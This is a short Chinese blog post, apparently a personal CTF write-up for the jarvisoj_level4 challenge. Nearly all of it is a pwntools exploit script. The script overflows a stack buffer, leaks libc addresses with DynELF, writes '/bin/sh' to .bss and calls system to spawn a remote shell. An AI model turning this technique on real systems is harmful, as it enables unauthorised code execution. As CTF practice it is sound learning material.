[DynELF]jarvisoj_level4

10 篇文章 0 订阅
本文记录了一次远程服务利用过程,通过 DynELF 库获取 libc 的 system 地址,并利用写入和读取系统调用来执行 '/bin/sh',实现远程控制。主要涉及的技术包括 DynELF、ELF 文件解析、内存漏洞利用等。
摘要由CSDN通过智能技术生成

这题没给libc,所以用DynELF。
记录一下仅供自己使用,以免以后忘了他的用法。

from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn','26626')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
#libc_base = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']

write_plt=elf.plt['write']
read_plt=elf.plt['read']
main=0x08048350
bss_addr=0x0804A024

def leak(addr):
    payload='a' * 0x88 + 'a' * 4 + p32(write_plt) + p32(main) + p32(1) + p32(addr) + p32(4)
    r.sendline(payload)
    leak_addr=r.recv(4)
    return leak_addr

d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
payload1='a' * 0x88 + 'a' * 4 + p32(read_plt) + p32(main) + p32(0) + p32(bss_addr) + p32(9)
r.sendline(payload1)
r.sendline('/bin/sh\x00')
payload1='a' * 0x88 + 'a'*4+p32(sys_addr)+p32(0xaaaa)+p32(bss_addr)
r.sendline(payload1)
r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值